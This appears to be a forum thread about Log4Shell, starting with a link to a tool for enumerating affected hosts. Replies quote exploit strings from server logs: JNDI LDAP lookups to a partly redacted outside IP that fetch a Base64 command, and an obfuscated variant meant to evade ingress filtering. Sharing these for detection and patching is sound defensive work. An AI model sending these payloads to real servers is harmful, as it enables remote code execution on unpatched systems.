Our new tool for enumerating hidden Log4Shell-affected hosts

#1

Post by dnet » Sun, Dec 12, 2021, 8:25 PM UTC

Our new tool for enumerating hidden Log4Shell-affected hosts
blog.silentsignal.eu

Re: Our new tool for enumerating hidden Log4Shell-affected hosts

#2

Post by elric » Sun, Dec 12, 2021, 10:34 PM UTC

We've been noticing attempted exploits in the wild. Attempts like these have started appearing in our logs:

> /?x=${jndi:ldap://45.155.205.XXX:12344/Basic/Command/Base64/

Patch your tools, folks. If you can't do that, modify your ingress services and have them filter out stuff like this.

Re: Our new tool for enumerating hidden Log4Shell-affected hosts

#3

Post by bArray » Mon, Dec 13, 2021, 12:44 AM UTC

elric wrote: post #2

We've been noticing attempted exploits in the wild. Attempts like these have started appearing in our logs: > /?x=${jndi:ldap://45.155.205.XXX:12344/Basic/Command/Base64/ Patch your tools, folks. If you can't do that, modify your ingress services and have them filter out stuff like this.

Can confirm this also:

    ${jndi:ldap://45.155.205.xxx:12 344/Basic/Command/Base64/}

> Patch your tools, folks. If you can't do that, modify your ingress services and have them filter out stuff like this.

Note that the filtering may not work, I am already seeing some variations of mitigation by the attackers:

    ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.xxx:12344/Basic/Command/Base64/

Re: Our new tool for enumerating hidden Log4Shell-affected hosts

#4

Post by ianhawes » Mon, Dec 13, 2021, 4:21 AM UTC

bArray wrote: post #3

elric wrote: post #2

We've been noticing attempted exploits in the wild. Attempts like these have started appearing in our logs: > /?x=${jndi:ldap://45.155.205.XXX:12344/Basic/Command/Base64/ Patch your tools, folks. If you can't do that, modify your ingress services and have them filter out stuff like this.

Can confirm this also: ${jndi:ldap://45.155.205.xxx:12 344/Basic/Command/Base64/ } > Patch your tools, folks. If you can't do that, modify your ingress services and have them filter out stuff like this. Note that the filtering may not work, I am already seeing some variations of mitigation by the attackers: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.xxx:12344/Basic/Command/Base64/

That is quite clever. Noted!